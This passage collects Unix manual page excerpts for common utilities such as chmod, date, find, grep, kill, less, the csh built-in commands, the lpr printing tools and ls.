working directory. The process must have execute (search) permission in directory. If cd is used without arguments, it returns you to your login directory. In csh you may specify a list of directories in which directory is to be sought as a subdirectory if it is not a subdirectory of the current directory; see the description of the cdpath variable in csh. chmod: The format of a symbolic mode is `[ugoa...][[+=][rwxXstugo...]...][,...]'. Multiple symbolic operations can be given, separated by commas. A combination of the letters `ugoa' controls which users' access to the file will be changed: the user who owns it (u), other users in the file's group (g), other users not in the file's group (o), or all users (a). If none of these are given, the effect is as if `a' were given, but bits that are set in the umask are not affected. The operator `+' causes the permissions selected to be added to the existing permissions of each file; `-' causes them to be removed; and `=' causes them to be the only permissions that the file has. The letters `rwxXstugo' select the new permissions for the affected users: read (r), write (w), execute (or access for directories) (x), execute only if the file is a directory or already has execute permission for some user (X), set user or group ID on execution (s), save program text on swap device (t), the permissions that the user who owns the file currently has for it (u), the permissions that other users in the file's group have for it (g), and the permissions that other users not in the file's group have for it (o). A numeric mode is from one to four octal digits (0-7), derived by adding up the bits with values 4, 2, and 1. Any omitted digits are assumed to be leading zeros. The first digit selects the set user ID (4) and set group ID (2) and save text image (1) attributes. The second digit selects permissions for the user who owns the file: read (4), write (2), and execute (1); the third selects permissions for other users in the file's group, with the same values; and the fourth for other users not in the file's group, with the same values. chmod never changes the permissions of symbolic links; the chmod system call cannot change their permissions. This is not a problem since the permissions of symbolic links are never used. However, for each symbolic link listed on the command line, chmod changes the permissions of the pointed to file. In contrast, chmod ignores symbolic links encountered during recursive directory traversals. OPTIONS -c, --changes Verbosely describe only files whose permissions actually change. -f, --silent, --quiet Do not print error messages about files whose permissions cannot be changed. -v, --verbose Verbosely describe changed permissions. -R, --recursive Recursively change permissions of directories and their contents. --help Print a usage message on standard output and exit successfully. --version Print version information on standard output then exit successfully. clear: clear clears your screen if this is possible. It looks in the environment for the terminal type and then in /etc/termcap to figure out how to clear the screen. date: This manual page documents the GNU version of date. date with no arguments prints the current time and date (in the format of the `%c' directive described below). If given an argument that starts with a `+', it prints the current time and date in a format controlled by that argument, which has the same format as the format string passed to the `strftime' function. Except for directives that start with `%', characters in that string are printed unchanged. The directives are: % a literal % n a newline t a horizontal tab Time fields: %H hour (00..23) %I hour (01..12) %k hour ( 0..23) %l hour ( 1..12) %M minute (00..59) %p locale's AM or PM %r time, 12-hour (hh:mm:ss [AP]M) %s seconds since 1970-01-01 00:00:00 UTC (a nonstandard extension) %S second (00..61) %T time, 24-hour (hh:mm:ss) %X locale's time representation (%H:%M:%S) %Z time zone (e.g., EDT), or nothing if no time zone is determinable Date fields: %a locale's abbreviated weekday name (Sun..Sat) %A locale's full weekday name, variable length (Sunday..Saturday) %b locale's abbreviated month name (Jan..Dec) %B locale's full month name, variable length (January..December) %c locale's date and time (Sat Nov 04 12:02:33 EST 1989) %d day of month (01..31) %D date (mm/dd/yy) %h same as %b %j day of year (001..366) %m month (01..12) %U week number of year with Sunday as first day of week (00..53) %w day of week (0..6) with 0 corresponding to Sunday %W week number of year with Monday as first day of week (00..53) %x locale's date representation (mm/dd/yy) %y last two digits of year (00..99) %Y year (1970...) By default, date pads numeric fields with zeroes. GNU date recognizes the following nonstandard numeric modifiers: (hyphen) do not pad the field _ (underscore) pad the field with spaces If given an argument that does not start with `+', date sets the system clock to the time and date specified by that argument. The argument must consist entirely of digits, which have the following meaning: MM month DD day within month hh hour mm minute CC first two digits of year (optional) YY last two digits of year (optional) ss second (optional) Only the superuser can set the system clock. OPTIONS -d datestr, --date datestr Display the time and date specified in datestr, which can be in almost any common format. The display is in the default output format, or if an argument starting with `+' is given to date, in the format specified by that argument. --help Print a usage message on standard output and exit successfully. -s datestr, --set datestr Set the time and date to datestr, which can be in almost any common format. It can contain month names, timezones, `am' and `pm', etc. -u, --universal Print or set the time and date in Coordinated Universal Time (also known as Greenwich Mean Time) instead of in local (wall clock) time. --version Print version information on standard output then exit successfully. find: find recursively descends the directory hierarchy for each pathname in the pathname-list, seeking files that match a logical expression written using the operators listed below. find does not follow symbolic links to other files or directories; it applies the selection criteria to the symbolic links themselves, as if they were ordinary files (see ln(1V) for a description of symbolic links). If the fast-find feature is enabled, find displays pathnames in which a filename component occurs. USAGE Operators In the descriptions, the argument n is used as a decimal integer where +n means more than n, -n means less than n, and n means exactly n. -fstype type True if the filesystem to which the file belongs is of type type, where type is typically 4.2 or nfs. -name filename True if the filename argument matches the current file name. Shell argument syntax can be used if escaped (watch out for [, ? and *). -perm onum True if the file permission flags exactly match the octal number onum (see chmod(1V)). If onum is prefixed by a minus sign, more flag bits (017777, see chmod(1V)) become significant and the flags are compared: (flags&onum)==onum. -prune Always yields true. Has the side effect of pruning the search tree at the file. That is, if the current path name is a directory, find will not descend into that directory. -type c True if the type of the file is c, where c is one of: b for block special file c c for character special file d for directory f for plain file p for named pipe (FIFO) l for symbolic link s for socket -links n True if the file has n links. -user uname True if the file belongs to the user uname. If uname is numeric and does not appear as a login name in the /etc/passwd database, it is taken as a user ID. -nouser True if the file belongs to a user not in the /etc/passwd database. -group gname True if the file belongs to group gname. If gname is numeric and does not appear as a login name in the /etc/group database, it is taken as a group ID. -nogroup True if the file belongs to a group not in the /etc/group database. -size n True if the file is n blocks long (512 bytes per block). If n is followed by a c, the size is in characters. -inum n True if the file has inode number n. -atime n True if the file has been accessed in n days. Note: the access time of directories in path-name-list is changed by find itself. -mtime n True if the file has been modified in n days. -ctime n True if the file has been changed in n days. "Changed" means either that the file has been modified or some attribute of the file (its owner, its group, the number of links to it, etc.) has been changed. -exec command True if the executed command returns a zero value as exit status. The end of command must be punctuated by an escaped semicolon. A command argument {} is replaced by the current pathname. -ok command Like -exec except that the generated command is written on the standard output, then the standard input is read and the command executed only upon response y. -print Always true; the current pathname is printed. -ls Always true; prints current pathname together with its associated statistics. These include (respectively) inode number, size in kilobytes (1024 bytes), protection mode, number of hard links, user, group, size in bytes, and modification time. If the file is a special file the size field will instead contain the major and minor device numbers. If the file is a symbolic link the pathname of the linked-to file is printed preceded by `->'. The format is identical to that of ls -gilds (see ls(1V)). Note: formatting is done internally, without executing the ls program. -cpio device Always true; write the current file on device in cpio(5) format (5120-byte records). -ncpio device Always true; write the current file on device in cpio -c format (5120-byte records). -newer file True if the current file has been modified more recently than the argument filename. -xdev Always true; find does not traverse down into a file system different from the one on which current argument pathname resides. -depth Always true; find descends the directory hierarchy, acting on the entries in a directory before acting on the directory itself. This can be useful when find is used with cpio to transfer files that are contained in directories without write permission. (expression) True if the parenthesized expression is true. Note: Parentheses are special to the shell and must be escaped. !primary True if the primary is false (! is the unary not operator). primary1 [ -a ] primary2 True if both primary1 and primary2 are true. The -a is not required. It is implied by the juxtaposition of two primaries. primary1 -o primary2 True if either primary1 or primary2 is true (-o is the or operator). Fast-Find The fast-find feature is enabled by the presence of the find.codes database in /usr/lib/find. You must be root to build or update this database by running the updatedb script in that same directory. You may wish to modify the updatedb script to suit your needs. An alternate database can be specified by setting the FCODES environment variable. cp: cp copies the contents of filename1 onto filename2. The mode and owner of filename2 are preserved if it already existed; the mode of the source file is used otherwise. If filename1 is a symbolic link, or a duplicate hard link, the contents of the file that the link refers to are copied; links are not preserved. In the second form, cp recursively copies directory1, along with its contents and subdirectories, to directory2. If directory2 does not exist, cp creates it and duplicates the files and subdirectories of directory1 within it. If direc_tory2 does exist, cp makes a copy of the directory1 directory within directory2 (as a subdirectory), along with its files and subdirectories. In the third form, each filename is copied to the indicated directory; the basename of the copy corresponds to that of the original. The destination directory must already exist for the copy to succeed. cp refuses to copy a file onto itself. finger: By default, finger displays information about each logged-in user, including his or her: login name, full name, terminal name (prepended with a `*' if write-permission is denied), idle time, login time, and location (comment field in /etc/ttytab for users logged in locally, hostname for users logged in remotely) if known. Idle time is minutes if it is a single integer, hours and minutes if a `:' is present, or days and hours if a d is present. When one or more name arguments are given, more detailed information is given for each name specified, whether they are logged in or not. A name may be a first or last name, or an account name. Information is presented in a multiline format, and includes, in addition to the information mentioned above: the user's home directory and login shell the time they logged in if they are currently logged in, or the time they last logged in if they are not, as well as the terminal or host from which they logged in and, if a terminal, the comment field in /etc/ttytab for that terminal the last time they received mail, and the last time they read their mail any plan contained in the file .plan in the user's home directory and any project on which they are working described in the file .project (also in that directory) If a name argument contains an at-sign, `@', then a connection is attempted to the machine named after the at-sign, and the remote finger daemon is queried. The data returned by that daemon is printed. If a long format printout is to be produced, finger passes the -l option to the remote finger daemon over the network using the /W feature of the protocol (see NAME/FINGER Protocol). grep: Grep searches the named input files (or standard input if no files are named, or the file name - is given) for lines containing a match to the given pattern. By default, grep prints the matching lines. There are three major variants of grep, controlled by the following options. -G Interpret pattern as a basic regular expression (see below). This is the default. -E Interpret pattern as an extended regular expression (see below). -F Interpret pattern as a list of fixed strings, separated by newlines, any of which is to be matched. In addition, two variant programs egrep and fgrep are available. Egrep is similiar (but not identical) to grep -E, and is compatible with the historical Unix egrep. Fgrep is the same as grep -F. All variants of grep understand the following options: -num Matches will be printed with num lines of leading and trailing context. However, grep will never print any given line more than once. -A num Print num lines of trailing context after matching lines. -B num Print num lines of leading context before matching lines. -C Equivalent to -2. -V Print the version number of grep to standard error. This version number should be included in all bug reports (see below). -b Print the byte offset within the input file before each line of output. -c Suppress normal output; instead print a count of matching lines for each input file. With the -v option (see below), count non-matching lines. -e pattern Use pattern as the pattern; useful to protect patterns beginning with -. -f file Obtain the pattern from file. -h Suppress the prefixing of filenames on output when multiple files are searched. -i Ignore case distinctions in both the pattern and the input files. -L Suppress normal output; instead print the name of each input file from would normally have been printed. -l Suppress normal which no output output; instead print the name of each input file from which output would normally have been printed. -n Prefix each line of output with the line number within its input file. -q Quiet; suppress normal output. -s Suppress error messages about nonexistent or unreadable files. -v Invert the sense of matching, to select non-matching lines. -w Select only those lines containing matches that form whole words. The test is that the matching substring must either be at the beginning of the line, or preceded by a non-word constituent character. Similarly, it must be either at the end of the line or followed by a non-word constituent character. Word-constituent characters are letters, digits, and the underscore. -x Select only those matches that exactly match the whole line. kill: kill sends the TERM (terminate, 15) signal to the processes with the specified pids. If a signal name or number preceded by `-' is given as first argument, that signal is sent instead of terminate. The signal names are listed by using the -l option, and are as given in <signal.h>, stripped of the common SIG prefix. The terminate signal will kill processes that do not catch the signal, so `kill -9 ...' is a sure kill, as the KILL (9) signal cannot be caught. By convention, if process number 0 is specified, all members in the process group (that is, processes resulting from the current login) are signaled (but beware: this works only if you use sh(1); not if you use csh(1).) Negative process numbers also have special meanings; see kill(2V) for details. The killed processes must belong to the current user unless he is the super-user. To shut the system down and bring it up single user the super-user may send the initialization process a TERM (terminate) signal by `kill 1'; see init(8). To force init to close and open terminals according to what is currently in /etc/ttytab use `kill -HUP 1' (sending a hangup signal to process 1). The shell reports the process number of an asynchronous process started with `&' (run in the background). Process numbers can also be found by using ps(1). kill is built in to csh(1); it allows job specifiers, such as `kill % ...', in place of kill arguments. See csh(1) for details. less: Less is a program similar to more (1), but which allows backwards movement in the file as well as forward movement. Also, less does not have to read the entire input file before starting, so with large input files it starts up faster than text editors like vi (1). Less uses termcap (or terminfo on some systems), so it can run on a variety of terminals. There is even limited support for hardcopy terminals. (On a hardcopy terminal, lines which should be printed at the top of the screen are prefixed with an uparrow.) Commands are based on both more and vi. Commands may be preceeded by a decimal number, called N in the descriptions below. The number is used by some commands, as indicated. In the following descriptions, ^X means control-X. ESC stands for the ESCAPE key; for example ESC-v means the two character sequence "ESCAPE", then "v". H Help: display a summary of these commands. If you forget all the other commands, remember this one. SPACE or f or ^F or ^V Scroll forward N lines, default one window (see option -z below). If N is more than the screen size, only the final screenful is displayed. Warning: some systems use ^V as a special literalization character. b or ^B or ESC-v Scroll backward N lines, default one window (see option -z below). If N is more than the screen size, only the final screenful is displayed. RETURN or ^N or e or ^E or j or ^J Scroll forward N lines, default 1. The entire N lines are displayed, even if N is more than the screen size. y or ^Y or ^P or k or ^K Scroll backward N lines, default 1. The entire N lines are displayed, even if N is more than the screen size. Warning: some systems use ^Y as a special job control character. d or ^D Scroll forward N lines, default one half of the screen size. If N is specified, it becomes the new default for subsequent d and u commands. u or ^U Scroll backward N lines, default one half of the screen size. If N is specified, it becomes the new default for subsequent d and u commands. r or ^R or ^L Repaint the screen. R Repaint the screen, discarding any buffered input. Useful if the file is changing while it is being viewed. g or < or ESC-< Go to line N in the file, default 1 (beginning of file). (Warning: this may be slow if N is large.) G or > or ESC-> Go to line N in the file, default the end of the file. (Warning: this may be slow if N is large, or if N is not specified and standard input, rather than a file, is being read.) p or % Go to a position N percent into the file. N should be between 0 and 100. (This works if standard input is being read, but only if less has already read to the end of the file. It is always fast, but not always useful.) m Followed by any lowercase letter, marks the current position with that letter. ` (Single quote.) Followed by any lowercase letter, returns to the position which was previously marked with that letter. Followed by another single quote, returns to the postion at which the last "large" movement command was executed. All marks are lost when a new file is examined. ^X^X Same as single quote. /pattern Search forward in the file for the N-th line containing the pattern. N defaults to 1. The pattern is a regular expression, as recognized by ed. The search starts at the second line displayed (but see the -a option, which changes this). ?pattern Search backward in the file for the N-th line containing the pattern. The search starts at the line immediately before the top line displayed. /!pattern Like /, but the search is for the N-th line which does NOT contain the pattern. ?!pattern Like ?, but the search is for the N-th line which does NOT contain the pattern. n Repeat previous search, for N-th line containing the last pattern (or NOT containing the last pattern, if the previous search was /! or ?!). E [filename] Examine a new file. If the filename is missing, the "current" file (see the N and P commands below) from the list of files in the command line is re-examined. If the filename is a pound sign (#), the previously examined file is re-examined. ^X^V or :e Same as E. Warning: some systems use ^V as a special literalization character. N or :n Examine the next file (from the list of files given in the command line). If a number N is specified (not to be confused with the command N), the N-th next file is examined. P or :p Examine the previous file. If a number N is specified, the N-th previous file is examined. = or ^G Prints some information about the file being viewed, including its name and the line number and byte offset of the bottom line being displayed. If possible, it also prints the length of the file and the percent of the file above the last displayed line. Followed by one of the command line option letters (see below), this will change the setting of that option and print a message describing the new setting. If the option letter has a numeric value (such as -b or -h), or a string value (such as -P or -t), a new value may be entered after the option letter. _ (Underscore.) Followed by one of the command line option letters (see below), this will print a message describing the current setting of that option. The setting of the option is not changed. +cmd Causes the specified cmd to be executed each time a new file is examined. For example, +G causes less to initially display each file starting at the end rather than the beginning. V Prints the version number of less being run. q or :q or ZZ Exits less. The following two commands may or may not be valid, depending on your particular installation. v Invokes an editor to edit the current file being viewed. The editor is taken from the environment variable EDITOR, or defaults to "vi". ! shell-command Invokes a shell to run the shell-command given. A percent sign in the command is replaced by the name of the current file. "!!" repeats the last shell command. "!" with no shell command simply invokes a shell. In all cases, the shell is taken from the environment variable SHELL, or defaults to "sh". logout: Built-in commands are executed within the C shell. If a built-in command occurs as any component of a pipeline except the last, it is executed in a subshell. : Null command. This command is interpreted, but performs no action. alias [ name [ def ] ] Assign def to the alias name. def is a list of words that may contain escaped history substitution metasyntax. name is not allowed to be alias or unalias. If def is omitted, the alias name is displayed along with its current definition. If both name and def are omitted, all aliases are displayed. bg [%job] ... Run the current or specified jobs in the background. break Resume execution after the end of the nearest enclosing foreach or while loop. The remaining commands on the current line are executed. This allows multilevel breaks to be written as a list of break commands, all on one line. breaksw Break from a switch, resuming after the endsw. case label: A label in a switch statement. cd [ dir ] chdir [ dir ] Change the shell's working directory to directory dir. If no argument is given, change to the home directory of the user. If dir is a relative pathname not found in the current directory, check for it in those directories listed in the cdpath variable. If dir is the name of a shell variable whose value starts with a /, change to the directory named by that value. continue Continue execution of the nearest enclosing while or foreach. default: Labels the default case in a switch statement. The default should come after all case labels. Any remaining commands on the command line are first executed. dirs [ -l ] Print the directory stack, most recent to the left; the first directory shown is the current directory. With the -l argument, produce an unabbreviated printout; use of the ~ notation is suppressed. echo [ -n ] list The words in list are written to the shell's standard output, separated by SPACE characters. The output is terminated with a NEWLINE unless the -n option is used. eval argument ... Reads the arguments as input to the shell, and executes the resulting command(s). This is usually used to execute commands generated as the result of command or variable substitution, since parsing occurs before these substitutions. See tset(1) for an example of how to use eval. exec command Execute command in place of the current shell, which terminates. exit [ (expr) ] The shell exits, either with the value of the status variable, or with the value of the specified by the expression expr. fg % [ job ] Bring the current or specified job into the foreground. foreach var (wordlist) ... end The variable var is successively set to each member of wordlist. The sequence of commands between this command and the matching end is executed for each new value of var. (Both foreach and end must appear alone on separate lines.) The built-in command continue may be used to continue the loop prematurely and the built-in command break to terminate it prematurely. When this command is read from the terminal, the loop is read up once prompting with ? before any statements in the loop are executed. glob wordlist Perform filename expansion on wordlist. Like echo, but no \ escapes are recognized. Words are delimited by null characters in the output. goto label The specified label is filename and command expanded to yield a label. The shell rewinds its input as much as possible and searches for a line of the form label: possibly preceded by SPACE or TAB characters. Execution continues after the indicated line. It is an error to jump to a label that occurs between a while or for built-in, and its corresponding end. hashstat Print a statistics line indicating how effective the internal hash table has been at locating commands (and avoiding execs). An exec is attempted for each component of the path where the hash function indicates a possible hit, and in each component that does not begin with a `/'. history [ -hr ] [ n ] Display the history list; if n is given, display only the n most recent events. -r Reverse the order of printout to be most recent first rather than oldest first. -h Display the history list without leading numbers. This is used to produce files suitable for sourcing using the -h option to source. if (expr) command If the specified expression evaluates to true, the single command with arguments is executed. Variable substitution on command happens early, at the same time it does for the rest of the if command. command must be a simple command, not a pipeline, a command list, or a parenthesized command list. Note: I/O redirection occurs even if expr is false, when command is not executed (this is a bug). if (expr) then ... else if (expr2) then ... else ... endif If expr is true, commands up to the first else are executed. Otherwise, if expr2 is true, the commands between the else if and the second else are executed. Otherwise, commands between the else and the endif are executed. Any number of else if pairs are allowed, but only one else. Only one endif is needed, but it is required. The words else and endif must be the first non-white characters on a line. The if must appear alone on its input line or after an else.) jobs[ -l ] List the active jobs under job control. -l List process IDs, in addition to the normal information. kill [ -sig ] [ pid ] [ %job ] ... kill -l Send the TERM (terminate) signal, by default, or the signal specified, to the specified process ID, the job indicated, or the current job. Signals are either given by number or by name. There is no default. Typing kill does not send a signal to the current job. If the signal being sent is TERM (terminate) or HUP (hangup), then the job or process is sent a CONT (continue) signal as well. -l List the signal names that can be sent. limit [ -h ] [ resource [ max-use ] ] Limit the consumption by the current process or any process it spawns, each not to exceed max-use on the specified resource. If max-use is omitted, print the current limit; if resource is omitted, display all limits. -h Use hard limits instead of the current limits. Hard limits impose a ceiling on the values of the current limits. Only the super-user may raise the hard limits. resource is one of: cputime Maximum CPU seconds per process. filesize Largest single file allowed. datasize Maximum data size (including stack) for the process. stacksize Maximum stack size for the process. coredumpsize Maximum size of a core dump (file). descriptors Maximum value for a file descriptor. max-use is a number, with an optional scaling factor, as follows: nh Hours (for cputime). nk n kilobytes. This is the default for all but cputime. nm n megabytes or minutes (for cputime). mm:ss Minutes and seconds (for cputime). login [ username|-p ] Terminate a login shell and invoke login(1). The .logout file is not processed. If username is omitted, login prompts for the name of a user. -p Preserve the current environment (variables). logout Terminate a login shell. nice [ +n|-n ] [ command ] Increment the process priority value for the shell or for command by n. The higher the priority value, the lower the priority of a process, and the slower it runs. When given, command is always run in a subshell, and the restrictions placed on commands in simple if commands apply. If command is omitted, nice increments the value for the current shell. If no increment is specified, nice sets the nice value to 4. The range of nice values is from -20 through 19. Values of n outside this range set the value to the lower, or to the higher boundary, respectively. +n Increment the process priority value by n. -n Decrement by n. This argument can be used only by the super-user. nohup [ command ] Run command with HUPs ignored. With no arguments, ignore HUPs throughout the remainder of a script. When given, command is always run in a subshell, and the restrictions placed on commands in simple if commands apply. All processes detached with & are effectively nohup'd. notify [ %job ] ... Notify the user asynchronously when the status of the current, or of specified jobs, changes. onintr [ - | label] Control the action of the shell on interrupts. With no arguments, onintr restores the default action of the shell on interrupts. (The shell terminates shell scripts and returns to the terminal command input level). With the - argument, the shell ignores all interrupts. With a label argument, the shell executes a goto label when an interrupt is received or a child process terminates because it was interrupted. popd [+n] Pop the directory stack, and cds to the new top directory. The elements of the directory stack are numbered from 0 starting at the top. +n Discard the n'th entry in the stack. pushd [+n | dir] Push a directory onto the directory stack. With no arguments, exchange the top two elements. +n Rotate the n'th entry to the top of the stack and cd to it. dir Push the current working directory onto the stack and change to dir. rehash Recompute the internal hash table of the contents of directories listed in the path variable to account for new commands added. repeat count command Repeat command count times command is subject to the same restrictions as with the one-line if statement. set [var [ = value ] ] set var[n] = word With no arguments, set displays the values of all shell variables. Multiword values are displayed as a parenthesized list. With the var argument alone, set assigns an empty (null) value to the variable var. With arguments of the form var = value set assigns value to var, where value is one of: word A single word (or quoted string). (wordlist) A space-separated list of words enclosed in parentheses. Values are command and filename expanded before being assigned. The form set var[n] = word replaces the n'th word in a multiword value with word. setenv [ VAR [ word ] ] With no arguments, setenv displays all environment variables. With the VAR argument sets the environment variable VAR to have an empty (null) value. (By convention, environment variables are normally given upper-case names.) With both VAR and word arguments setenv sets the environment variable NAME to the value word, which must be either a single word or a quoted string. The most commonly used environment variables, USER, TERM, and PATH, are automatically imported to and exported from the csh variables user, term, and path; there is no need to use setenv for these. In addition, the shell sets the PWD environment variable from the csh variable cwd whenever the latter changes. shift [ variable ] The components of argv, or variable, if supplied, are shifted to the left, discarding the first component. It is an error for the variable not to be set, or to have a null value. source [ -h ] name Reads commands from name. source commands may be nested, but if they are nested too deeply the shell may run out of file descriptors. An error in a sourced file at any level terminates all nested source commands. -h Place commands from the file name on the history list without executing them. stop [%job] ... Stop the current or specified background job. suspend Stop the shell in its tracks, much as if it had been sent a stop signal with ^Z. This is most often used to stop shells started by su. switch (string) case label: ... breaksw ... default: ... breaksw endsw Each label is successively matched, against the specified string, which is first command and filename expanded. The file metacharacters *, ? and [...] may be used in the case labels, which are variable expanded. If none of the labels match before a "default" label is found, execution begins after the default label. Each case statement and the default statement must appear at the beginning of a line. The command breaksw continues execution after the endsw. Otherwise control falls through subsequent case and default statements as with C. If no label matches and there is no default, execution continues after the endsw. time [ command ] With no argument, print a summary of time used by this C shell and its children. With an optional command, execute command and print a summary of the time it uses. umask [ value ] Display the file creation mask. With value set the file creation mask. value is given in octal, and is XORed with the permissions of 666 for files and 777 for directories to arrive at the permissions for new files. Common values include 002, giving complete access to the group, and read (and directory search) access to others, or 022, giving read (and directory search) but not write permission to the group and others. unalias pattern Discard aliases that match (filename substitution) pattern. All aliases are removed by unalias *. unhash Disable the internal hash table. unlimit [ -h ] [ resource ] Remove a limitation on resource. If no resource is specified, then all resource limitations are removed. See the description of the limit command for the list of resource names. -h Remove corresponding hard limits. Only the super-user may do this. unset pattern Remove variables whose names match (filename substitution) pattern. All variables are removed by `unset *'; this has noticeably distasteful sideeffects. unsetenv variable Remove variable from the environment. Pattern matching, as with unset is not performed. wait Wait for background jobs to finish (or for an interrupt) before prompting. while (expr) ... end While expr is true (evaluates to non-zero), repeat commands between the while and the matching end statement. break and continue may be used to terminate or continue the loop prematurely. The while and end must appear alone on their input lines. If the shell's input is a terminal, it prompts for commands with a question-mark until the end command is entered and then performs the commands in the loop. %[ job ] [ & ] Bring the current or indicated job to the foreground. With the ampersand, continue running job in the background. @ [ var =expr ] @ [ var[n] =expr ] With no arguments, display the values for all shell variables. With arguments, the variable var, or the n'th word in the value of var, to the value that expr evaluates to. (If [n] is supplied, both var and its n'th component must already exist.) If the expression contains the characters >, <, & or |, then at least this part of expr must be placed within parentheses. The operators *=, +=, etc., are available as in C. The space separating the name from the assignment operator is optional. Spaces are, however, mandatory in separating components of expr that would otherwise be single words. Special postfix operators, ++ and -- increment or decrement name, respectively. lpq: lpq displays the contents of a printer queue. It reports the status of jobs specified by job#, or all jobs owned by the user specified by username. lpq reports on all jobs in the default printer queue when invoked with no arguments. For each print job in the queue, lpq reports the user's name, current position, the names of input files comprising the job, the job number (by which it is referred to when using lprm(1)) and the total size in bytes. Normally, only as much information as will fit on one line is displayed. Jobs are normally queued on a first-in-first-out basis. Filenames comprising a job may be unavailable, such as when lpr is used at the end of a pipeline; in such cases the filename field indicates ``(standard input)''. If lpq warns that there is no daemon present (that is, due to some malfunction), the lpc(8) command can be used to restart a printer daemon. -P printer Display information about the queue for the specified printer. In the absence of the -P option, the queue to the printer specified by the PRINTER variable in the environment is used. If the PRINTER variable isn't set, the queue for the default printer is used. -l Display queue information in long format; includes the name of the host from which the job originated. +[ interval ] Display the spool queue periodically until it empties. This option clears the terminal screen before reporting on the queue. If an interval is supplied, lpq sleeps that number of seconds in between reports. lpr: lpr creates a printer job in a spooling area for subsequent printing as facilities become available. Each printer job consists of a control file and one or more data files. The data files are copies of (or, with -s , symbolic links to) each filename you specify. The spool area is managed by the line printer daemon, lpd(8). Jobs that specify a printer on a remote machine are forwarded by lpd. lpr reads from the standard input if no files are specified. -Pprinter Send output to the named printer. Otherwise send output to the printer named in the PRINTER environment variable, or to the default printer, lp. -#copies Produce the number of copies indicated for each named file. For example: example% lpr -#3 index.c lookup.c produces three copies of index.c, followed by three copies of lookup.c. On the other hand, example% cat index.c lookup.c | lpr -#3 generates three copies of the concatenation of the files. -Cclass Print class as the job classification on the burst page. For example, example% lpr -C Operations new.index.c replaces the system name (the name returned by hostname) with "Operations" on the burst page, and prints the file new.index.c. -Jjob Print job as the job name on the burst page. Normally, lpr uses the first file's name. -Ttitle Use title instead of the file name for the title used by pr(1V). -i[ indent ] Indent output indent SPACE characters. Eight SPACE characters is the default. The indent is passed to the input filter. If no input filter is present, this option is ignored. -1 font -2 font -3 font -4 font Mount the specified font on font position 1, 2, 3 or 4. The daemon will construct a .railmag file in the spool directory that indicates the mount by referencing /usr/lib/vfont/font. -wcols Use cols as the page width for pr. -r Remove the file upon completion of spooling, or upon completion of printing with the -s option. -m Send mail upon completion. -h Suppress printing the burst page. -s Create a symbolic link from the spool area to the data files rather than trying to copy them (so large files can be printed). This means the data files should not be modified or removed until they have been printed. This option can be used to avoid truncating files larger than the maximum given in the mx capability of the printcap(5) entry. -s only prevents copies of local files from being made. Jobs from remote hosts are copied anyway. -s only works with named data files; if the lpr command is at the end of a pipeline, the data is copied to the spool. filter-option The following single letter options notify the line printer spooler that the files are not standard text files. The spooling daemon will use the appropriate filters to print the data accordingly. -p Use pr to format the files (lpr -p is very much like `pr | lpr'). -l Print control characters and suppress page breaks. -t The files contain troff(1) (cat phototypesetter) binary data. -n The files contain data from ditroff (device independent troff). -d The files contain data from tex (DVI format from Stanford). -g The files contain standard plot data as produced by the plot(3X) routines (see also plot(1G) for the filters used by the printer spooler). -v The files contain a raster image, see rasterfile(5). The printer must support an appropriate imaging model such as PostScript in order to print the image. -c The files contain data produced by cifplot. -f Interpret the first character of each line as a standard FORTRAN carriage control character. If no filter-option is given (and the printer can interpret PostScript), the string `%!' as the first two characters of a file indicates that it contains PostScript commands. These filter options offer a standard user interface, and all options may not be available for, nor applicable to, all printers. lprm: lprm removes a job or jobs from a printer's spooling queue. Since the spool directory is protected from users, using lprm is normally the only method by which a user can remove a job. Without any arguments, lprm deletes the job that is currently active, provided that the user who invoked lprm owns that job. When the super-user specifies a username, lprm removes all jobs belonging to that user. You can remove a specific job by supplying its job number as an argument, which you can obtain using lpq(1). For example: example% lpq -Phost host is ready and printing Rank Owner Job Files Total Size active wendy 385 standard input 35501 bytes example% lprm -Phost 385 lprm reports the names of any files it removes, and is silent if there are no applicable jobs to remove. lprm kills the active printer daemon, if necessary, before removing spooled jobs; it restarts the daemon when through. -Pprinter Specify the queue associated with a specific printer. Otherwise the value of the PRINTER variable in the environment is used. If this variable is unset, the queue for the default printer is used. Remove all jobs owned by you. If invoked by the super-user, all jobs in the spool are removed. (Job ownership is determined by the user's login name and host name on the machine where the lpr command was invoked). ls: -a, --all List all files in directories, including all files that start with `.'. -b, --escape Quote nongraphic characters in file names using alphabetic and octal backslash sequences like those used in C. -c, --time=ctime, --time=status Sort directory contents according to the files' status change time instead of the modification time. If the long listing format is being used, print the status change time instead of the modification time. -d, --directory List directories like other files, rather than listing their contents. -f Do not sort directory contents; list them in whatever order they are stored on the disk. The same as enabling -a and -U and disabling -l, -s, and -t. --full-time List times in full, rather than using the standard abbreviation heuristics. -g Ignored; for Unix compatibility. -i, --inode Print the index number of each file to the left of the file name. -k, --kilobytes If file sizes are being listed, print them in kilobytes. This overrides the environment variable POSIXLY_CORRECT. -l, --format=long, --format=verbose In addition to the name of each file, print the file type, permissions, number of hard links, owner name, group name, size in bytes, and timestamp (the modification time unless other times are selected). For files with a time that is more than 6 months old or more than 1 hour into the future, the timestamp contains the year instead of the time of day. -m, --format=commas List files horizontally, with as many as will fit on each line, separated by commas. -n, --numeric-uid-gid List the numeric UID and GID instead of the names. -p Append a character to each file name indicating the file type. -q, --hide-control-chars Print question marks instead of nongraphic characters in file names. -r, --reverse Sort directory contents in reverse order. -s, --size Print the size of each file in 1K blocks to the left of the file name. If the environment variable POSIXLY_CORRECT is set, 512-byte blocks are used instead. -t, --sort=time Sort directory contents by timestamp instead of alphabetically, with the newest files listed first. -u, --time=atime, --time=access, --time=use Sort directory contents according to the files' last access time instead of the modification time. If the long listing format is being used, print the last access time instead of the modification time. -x, --format=across, --format=horizontal List the files in columns, sorted horizontally. -A, --almost-all List all files in directories, except for `.' and `..'. -B, --ignore-backups Do not list files that end with `~', unless they are given on the command line. -C, --format=vertical List files in columns, sorted vertically. -F, --classify Append a character to each file name indicating the file type. For regular files that are executable, append a `*'. The file type indicators are `/' for directories, `@' for symbolic links, `|' for FIFOs, `=' for sockets, and nothing for regular files. -G, --no-group Inhibit display of group information in a long format directory listing. -L, --dereference List the files linked to by symbolic links instead of listing the contents of the links. -N, --literal Do not quote file names. -Q, --quote-name Enclose file names in double quotes and quote nongraphic characters as in C. -R, --recursive List the contents of all directories recursively. -S, --sort=size Sort directory contents by file size instead of alphabetically, with the largest files listed first. -U, --sort=none Do not sort directory contents; list them in whatever order they are stored on the disk. This option is not called -f because the Unix ls -f option also enables -a and disables -l, -s, and -t. It seems useless and ugly to group those unrelated things together in one option. Since this option doesn't do that, it has a different name. -X, --sort=extension Sort directory contents alphabetically by file extension 